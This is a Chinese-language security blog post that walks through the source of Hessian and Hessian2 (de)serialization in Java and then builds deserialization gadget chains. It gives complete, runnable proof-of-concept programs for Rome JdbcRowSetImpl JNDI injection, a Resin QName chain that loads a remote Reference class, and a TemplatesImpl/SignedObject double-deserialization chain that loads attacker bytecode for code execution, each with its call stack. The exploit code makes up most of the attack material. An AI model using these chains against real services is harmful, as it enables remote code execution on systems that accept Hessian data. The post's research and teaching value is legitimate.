序列化
HessianOutput 和 Hessian2Output 都是抽象类 AbstractHessianOutput 的实现,二者的 writeObject 方法一致,根据传入的 object 的类型,获取对应需要的序列化器,调用序列化器的 writeObject 方法序列化数据。代码如下
1
2
3
4
5
6
7
8
| public void writeObject(Object object) throws IOException {
if (object == null) {
this.writeNull();
} else {
Serializer serializer = this.findSerializerFactory().getObjectSerializer(object.getClass());
serializer.writeObject(object, this);
}
}
|
跟进 getObjectSerializer
1
2
3
4
| public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
Serializer serializer = this.getSerializer(cl);
return serializer instanceof ObjectSerializer ? ((ObjectSerializer)serializer).getObjectSerializer() : serializer;
}
|
跟进 getSerializer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| public Serializer getSerializer(Class cl) throws HessianProtocolException {
if (this._cachedSerializerMap != null) {
Serializer serializer = (Serializer)this._cachedSerializerMap.get(cl);
if (serializer != null) {
return serializer;
}
}
Serializer serializer = this.loadSerializer(cl);
if (this._cachedSerializerMap == null) {
this._cachedSerializerMap = new ConcurrentHashMap(8);
}
this._cachedSerializerMap.put(cl, serializer);
return serializer;
}
|
接着跟进 loadSerializer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
| protected Serializer loadSerializer(Class<?> cl) throws HessianProtocolException {
Serializer serializer = null;
for(int i = 0; this._factories != null && i < this._factories.size(); ++i) {
AbstractSerializerFactory factory = (AbstractSerializerFactory)this._factories.get(i);
serializer = factory.getSerializer(cl);
if (serializer != null) {
return serializer;
}
}
serializer = this._contextFactory.getSerializer(cl.getName());
if (serializer != null) {
return serializer;
} else {
ClassLoader loader = cl.getClassLoader();
if (loader == null) {
loader = _systemClassLoader;
}
ContextSerializerFactory factory = null;
factory = ContextSerializerFactory.create(loader);
serializer = factory.getCustomSerializer(cl);
if (serializer != null) {
return serializer;
} else if (HessianRemoteObject.class.isAssignableFrom(cl)) {
return new RemoteSerializer();
} else if (BurlapRemoteObject.class.isAssignableFrom(cl)) {
return new RemoteSerializer();
} else if (InetAddress.class.isAssignableFrom(cl)) {
return InetAddressSerializer.create();
} else if (JavaSerializer.getWriteReplace(cl) != null) {
Serializer baseSerializer = this.getDefaultSerializer(cl);
return new WriteReplaceSerializer(cl, this.getClassLoader(), baseSerializer);
} else if (Map.class.isAssignableFrom(cl)) {
if (this._mapSerializer == null) {
this._mapSerializer = new MapSerializer();
}
return this._mapSerializer;
} else if (Collection.class.isAssignableFrom(cl)) {
if (this._collectionSerializer == null) {
this._collectionSerializer = new CollectionSerializer();
}
return this._collectionSerializer;
} else if (cl.isArray()) {
return new ArraySerializer();
} else if (Throwable.class.isAssignableFrom(cl)) {
return new ThrowableSerializer(this.getDefaultSerializer(cl));
} else if (InputStream.class.isAssignableFrom(cl)) {
return new InputStreamSerializer();
} else if (Iterator.class.isAssignableFrom(cl)) {
return IteratorSerializer.create();
} else if (Calendar.class.isAssignableFrom(cl)) {
return CalendarSerializer.SER;
} else if (Enumeration.class.isAssignableFrom(cl)) {
return EnumerationSerializer.create();
} else if (Enum.class.isAssignableFrom(cl)) {
return new EnumSerializer(cl);
} else {
return (Serializer)(Annotation.class.isAssignableFrom(cl) ? new AnnotationSerializer(cl) : this.getDefaultSerializer(cl));
}
}
}
|
判断当前传入的Object是否属于某些已定义好的接口。如果存在,就生成对应的序列化器,如果不存在,就调用com.caucho.hessian.io.SerializerFactory#getDefaultSerializer方法针对自定义类加载默认的序列化器。现在我们去查找继承自 AbstractSerializer 的类

可能是我依赖整多了,有 28 个序列化器,跟进SerializerFactory#getDefaultSerializer
1
2
3
4
5
6
7
8
9
| protected Serializer getDefaultSerializer(Class cl) {
if (this._defaultSerializer != null) {
return this._defaultSerializer;
} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
} else {
return (Serializer)(this._isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null ? UnsafeSerializer.create(cl) : JavaSerializer.create(cl));
}
}
|
可以看到在默认情况下如果_isEnableUnsafeSerializer属性为true,并且传入的cl没有writeReplace方法,那么最后会创造一个UnsafeSerializer来作为序列化器。
继续跟进UnsafeSerializer#writeObject
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| public void writeObject(Object obj, AbstractHessianOutput out) throws IOException {
if (!out.addRef(obj)) {
Class<?> cl = obj.getClass();
int ref = out.writeObjectBegin(cl.getName());
if (ref >= 0) {
this.writeInstance(obj, out);
} else if (ref == -1) {
this.writeDefinition20(out);
out.writeObjectBegin(cl.getName());
this.writeInstance(obj, out);
} else {
this.writeObject10(obj, out);
}
}
}
|
它会调用 writeObjectBegin 方法,然后根据 ref 进行下一步操作,而接下来就是 hessian 和 hessian2 的不同之处了,HessianOutput会直接调用父类的AbstractHessianOutput#writeObjectBegin方法,调试下发现直接写入77作为Map的标志,固定返回-2赋值给writeObject方法
1
2
3
4
| public int writeObjectBegin(String type) throws IOException {
this.writeMapBegin(type);
return -2;
}
|
去调用UnsafeSerializer#writeObject10方法,来逐个对字段进行序列化。并已writeMapEnd作为收尾。
1
2
3
4
5
6
7
8
9
| protected void writeObject10(Object obj, AbstractHessianOutput out) throws IOException {
for(int i = 0; i < this._fields.length; ++i) {
Field field = this._fields[i];
out.writeString(field.getName());
this._fieldSerializers[i].serialize(out, obj);
}
out.writeMapEnd();
}
|
但是 Hessian2Output 重写了 writeObjectBegin 方法,跟进

可以写自定义类型的数据,返回ref为-1。调用 writeDefinition20 和 Hessian2Output#writeObjectBegin 方法写入自定义数据,不将其标记为 Map 类型。
总的来说
- HessianOutput 在序列化的过程中默认将序列化结果处理成一个 Map
- Hessian2Output 在序列化的过程中可以序列化自定义的类
反序列化
hessian
跟进HessianInput#readObject,由于默认是将序列化结果处理成一个 Map 所以反序列化是直接到这里

接着跟进SerializerFactory#readMap
1
2
3
4
5
6
7
8
9
10
11
| public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
Deserializer deserializer = this.getDeserializer(type);
if (deserializer != null) {
return deserializer.readMap(in);
} else if (this._hashMapDeserializer != null) {
return this._hashMapDeserializer.readMap(in);
} else {
this._hashMapDeserializer = new MapDeserializer(HashMap.class);
return this._hashMapDeserializer.readMap(in);
}
}
|
先获取反序列化器,然后再根据是否_hashMapDeserializer这个属性来触发,一般的都会到MapDeserializer#readMap,跟进SerializerFactory#getDeserializer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| public Deserializer getDeserializer(String type) throws HessianProtocolException {
if (type != null && !type.equals("")) {
if (this._cachedTypeDeserializerMap != null) {
Deserializer deserializer;
synchronized(this._cachedTypeDeserializerMap) {
deserializer = (Deserializer)this._cachedTypeDeserializerMap.get(type);
}
if (deserializer != null) {
return deserializer;
}
}
Deserializer deserializer = (Deserializer)_staticTypeMap.get(type);
if (deserializer != null) {
return deserializer;
} else {
if (type.startsWith("[")) {
Deserializer subDeserializer = this.getDeserializer(type.substring(1));
if (subDeserializer != null) {
deserializer = new ArrayDeserializer(subDeserializer.getType());
} else {
deserializer = new ArrayDeserializer(Object.class);
}
} else {
try {
Class cl = this.loadSerializedClass(type);
deserializer = this.getDeserializer(cl);
} catch (Exception e) {
log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + this.getClassLoader() + ":\n" + e);
log.log(Level.FINER, e.toString(), e);
}
}
if (deserializer != null) {
if (this._cachedTypeDeserializerMap == null) {
this._cachedTypeDeserializerMap = new HashMap(8);
}
synchronized(this._cachedTypeDeserializerMap) {
this._cachedTypeDeserializerMap.put(type, deserializer);
}
}
return deserializer;
}
} else {
return null;
}
}
|
首先如果类型为空或空字符串直接返回 null,如果不为空,则进一步先检查本地缓存 _cachedTypeDeserializerMap,接着是数组型反序列化器,普通类会加载类并获取其反序列化器,还有就是缓存新建反序列化器,一般是加载类然后获取反序列化器。跟进SerializerFactory#loadSerializedClass

继续跟进,属于是直接反射了一下

跟进SerializerFactory#getDeserializer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| public Deserializer getDeserializer(Class cl) throws HessianProtocolException {
if (this._cachedDeserializerMap != null) {
Deserializer deserializer = (Deserializer)this._cachedDeserializerMap.get(cl);
if (deserializer != null) {
return deserializer;
}
}
Deserializer deserializer = this.loadDeserializer(cl);
if (this._cachedDeserializerMap == null) {
this._cachedDeserializerMap = new ConcurrentHashMap(8);
}
this._cachedDeserializerMap.put(cl, deserializer);
return deserializer;
}
|
继续跟进SerializerFactory#loadDeserializer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| protected Deserializer loadDeserializer(Class cl) throws HessianProtocolException {
Deserializer deserializer = null;
for(int i = 0; deserializer == null && this._factories != null && i < this._factories.size(); ++i) {
AbstractSerializerFactory factory = (AbstractSerializerFactory)this._factories.get(i);
deserializer = factory.getDeserializer(cl);
}
if (deserializer != null) {
return deserializer;
} else {
deserializer = this._contextFactory.getDeserializer(cl.getName());
if (deserializer != null) {
return deserializer;
} else {
ContextSerializerFactory factory = null;
if (cl.getClassLoader() != null) {
factory = ContextSerializerFactory.create(cl.getClassLoader());
} else {
factory = ContextSerializerFactory.create(_systemClassLoader);
}
deserializer = factory.getDeserializer(cl.getName());
if (deserializer != null) {
return deserializer;
} else {
deserializer = factory.getCustomDeserializer(cl);
if (deserializer != null) {
return deserializer;
} else {
if (Collection.class.isAssignableFrom(cl)) {
deserializer = new CollectionDeserializer(cl);
} else if (Map.class.isAssignableFrom(cl)) {
deserializer = new MapDeserializer(cl);
} else if (Iterator.class.isAssignableFrom(cl)) {
deserializer = IteratorDeserializer.create();
} else if (Annotation.class.isAssignableFrom(cl)) {
deserializer = new AnnotationDeserializer(cl);
} else if (cl.isInterface()) {
deserializer = new ObjectDeserializer(cl);
} else if (cl.isArray()) {
deserializer = new ArrayDeserializer(cl.getComponentType());
} else if (Enumeration.class.isAssignableFrom(cl)) {
deserializer = EnumerationDeserializer.create();
} else if (Enum.class.isAssignableFrom(cl)) {
deserializer = new EnumDeserializer(cl);
} else if (Class.class.equals(cl)) {
deserializer = new ClassDeserializer(this.getClassLoader());
} else {
deserializer = this.getDefaultDeserializer(cl);
}
return deserializer;
}
}
}
}
}
|
加载默认的自定义类,但是由于 hessian1 默认序列化为 Map,所以这里返回为 MapDeserializer。
hessian2
hessian2 和 hessian1基本一致,可以看到与序列化过程中获取加载器的流程相近,在最后的SerializerFactory#getDefaultDeserializer
1
2
3
4
5
6
7
| protected Deserializer getDefaultDeserializer(Class cl) {
if (InputStream.class.equals(cl)) {
return InputStreamDeserializer.DESER;
} else {
return (Deserializer)(this._isEnableUnsafeSerializer ? new UnsafeDeserializer(cl, this._fieldDeserializerFactory) : new JavaDeserializer(cl, this._fieldDeserializerFactory));
}
}
|
会返回一个 UnsafeDeserializer,接着跟进到他的 readMap 方法
1
2
3
4
5
6
7
8
9
10
11
12
| public Object readMap(AbstractHessianInput in) throws IOException {
try {
Object obj = this.instantiate();
return this.readMap(in, obj);
} catch (IOException e) {
throw e;
} catch (RuntimeException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(this._type.getName() + ":" + e.getMessage(), e);
}
}
|
跟进 instantiate 方法
1
2
3
| protected Object instantiate() throws Exception {
return _unsafe.allocateInstance(this._type);
}
|
绕过构造方法直接实例化对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| public Object readMap(AbstractHessianInput in, Object obj) throws IOException {
try {
int ref = in.addRef(obj);
while(!in.isEnd()) {
Object key = in.readObject();
FieldDeserializer2 deser = (FieldDeserializer2)this._fieldMap.get(key);
if (deser != null) {
deser.deserialize(in, obj);
} else {
in.readObject();
}
}
in.readMapEnd();
Object resolve = this.resolve(in, obj);
if (obj != resolve) {
in.setRef(ref, resolve);
}
return resolve;
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
|
对象引用注册,然后再循环读取键值对,收尾之后再更新引用表。
MapDeserializer

前面提到过获取反序列化器之后都是触发的 readMap 方法,现在来看看MapDeserializer#readMap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| public Object readMap(AbstractHessianInput in) throws IOException {
Map map;
if (this._type == null) {
map = new HashMap();
} else if (this._type.equals(Map.class)) {
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
map = (Map)this._ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
while(!in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
|
默认HashMap,如果明确是Map.class,则为HashMap,明确是SortedMap.class则为TreeMap,而触发他们的 put 方法
- 对于
HashMap会触发key.hashCode()、key.equals(k), - 对于
TreeMap会触发key.compareTo()
gadget
最后我们知道了MapDeserializer#readMap之后,其实就只需要找后半段链子,因为 hessian 在反序列化的时候会自动调用map.put。
Rome–JdbcRowSetImpl
Rome 反序列化中的 JdbcRowSetImpl 链就是通过ObjectBean#hashCode去触发后续反序列化打 JNDI 注入,但是直接写发现并没成功,debug 发现因为 getDatabaseMetaData 方法在第四位

但是在第三位反射 setMatchColumn 方法的时候就抛出了错误


跟进 setMatchColumn
1
2
3
4
5
6
7
| public void setMatchColumn(String var1) throws SQLException {
if (var1 != null && !(var1 = var1.trim()).equals("")) {
this.strMatchColumns.set(0, var1);
} else {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.matchcols2").toString());
}
}
|
不赋值就会抛出错误,最终 poc 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
| package org.hessian.gadget;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.sql.rowset.BaseRowSet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class JdbcRowSetImplPoc {
public static void main(String[] args) throws Exception{
String url = "ldap://127.0.0.1:1389/#Eval";
JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl();
jdbcRowset.setMatchColumn("test");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowset);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "bbbb");
Field dataSource = BaseRowSet.class.getDeclaredField("dataSource");
dataSource.setAccessible(true);
dataSource.set(jdbcRowset, url);
byte[] data=serialize(hashMap);
unserialize(data);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessianOutput = new Hessian2Output(baos);
hessianOutput.writeObject(obj);
hessianOutput.close();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessianInput = new Hessian2Input(bais);
return hessianInput.readObject();
}
}
|
调用栈如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:615)
at com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData(JdbcRowSetImpl.java:4004)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193)
at com.sun.syndication.feed.impl.ObjectBean.hashCode(ObjectBean.java:110)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.hessian.base.JdbcRowSetImplPoc.unserialize(JdbcRowSetImplPoc.java:46)
at org.hessian.base.JdbcRowSetImplPoc.main(JdbcRowSetImplPoc.java:32)
|
Resin–Qname
resin Qname 的这条链子直接可以用的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
| package org.hessian.gadget;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
public class resinQnamePoc {
public static void main(String[] args) throws Exception {
Reference refObj = new Reference("Eval","Eval","http://127.0.0.1:8000/");
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(refObj);
Hashtable<?, ?> hashtable = new Hashtable<>();
Context continuationContext = (Context) constructor.newInstance(cpe, hashtable);
QName qname = new QName(continuationContext,"aaa","bbb");
String unhash = unhash(qname.hashCode());
XString xstring = new XString(unhash);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", xstring);
map1.put("zZ", qname);
map2.put("zZ", xstring);
map2.put("yy", qname);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
byte[] payload = Hessian2_serialize(table);
Hessian2_unserialize(payload);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}
|
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| at Eval.<clinit>(Eval.java:12)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at javax.naming.spi.NamingManager.getContext(NamingManager.java:439)
at javax.naming.spi.ContinuationContext.getTargetContext(ContinuationContext.java:55)
at javax.naming.spi.ContinuationContext.composeName(ContinuationContext.java:180)
at com.caucho.naming.QName.toString(QName.java:353)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at java.util.AbstractMap.equals(AbstractMap.java:472)
at java.util.Hashtable.put(Hashtable.java:469)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:571)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2100)
at org.example.resin.resinQnamePoc.Hessian2_unserialize(resinQnamePoc.java:92)
at org.example.resin.resinQnamePoc.main(resinQnamePoc.java:46)
|
TemplatesImpl && SignedObject
同时想到可以继续用 Rome 里面的 gadget,其中利用反序列化利用链来进行加载字节码达到RCE,但是没成功弹出计算器,debug 发现依旧是在这里报错了

跟踪报错栈帧



发现此时的_tfactory没有被反序列化赋值,为null,从而报错空指针。重新 debug 看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| protected HashMap<String, FieldDeserializer2> getFieldMap(Class<?> cl, FieldDeserializer2Factory fieldFactory) {
HashMap<String, FieldDeserializer2> fieldMap;
for(fieldMap = new HashMap(); cl != null; cl = cl.getSuperclass()) {
Field[] fields = cl.getDeclaredFields();
for(int i = 0; i < fields.length; ++i) {
Field field = fields[i];
if (!Modifier.isTransient(field.getModifiers()) && !Modifier.isStatic(field.getModifiers()) && fieldMap.get(field.getName()) == null) {
FieldDeserializer2 deser = fieldFactory.create(field);
fieldMap.put(field.getName(), deser);
}
}
}
return fieldMap;
}
|
如果是 Transient\Static 修饰的就不处理,所以序列化就没成功,而_tfactory恰好为transient类型所修饰,因此无法被反序列化。
1
| private transient TransformerFactoryImpl _tfactory = null;
|
如何解决这个问题呢,很简单,二次反序列化即可,写出如下 poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
| package org.hessian.gadget;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.LinkedHashMap;
import java.util.Map;
public class romeTemplates {
public static void main(String[] args) throws Exception{
TemplatesImpl harmlessTemplates = new TemplatesImpl();
setFieldValue(harmlessTemplates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.hessian.base.Evil.class.getName()).toBytecode()});
setFieldValue(harmlessTemplates, "_name", "Pwnr");
setFieldValue(harmlessTemplates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,harmlessTemplates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
Map<Serializable, Serializable> innerMap = new HashMap<>();
innerMap.put(equalsBean, "123");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) innerMap, kp.getPrivate(), Signature.getInstance("DSA"));
byte[] data=serialize(signedObject);
unserialize(data);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.flush();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessianInput = new Hessian2Input(bais);
return hessianInput.readObject();
}
}
|
并没有成功,debug 发现由于最外层是个 SignedObject,所以 tag 不是 77,走的也就不是之前的链路了,因此我们需要自己加个入口,这里选择使用 BadAttributeValueExpException 类这样就能正常触发到 readMap 方法

最终 poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
| package org.hessian.gadget;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Map;
public class romeTemplates {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(org.hessian.base.Evil.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean1 = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException,"val",toStringBean1);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(badAttributeValueExpException, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean2);
Map<Serializable, Serializable> innerMap = new HashMap<>();
innerMap.put(equalsBean, "123");
byte[] data=serialize(innerMap);
unserialize(data);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.flush();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessianInput = new Hessian2Input(bais);
return hessianInput.readObject();
}
}
|
调用栈如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at java.security.SignedObject.getObject(SignedObject.java:180)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
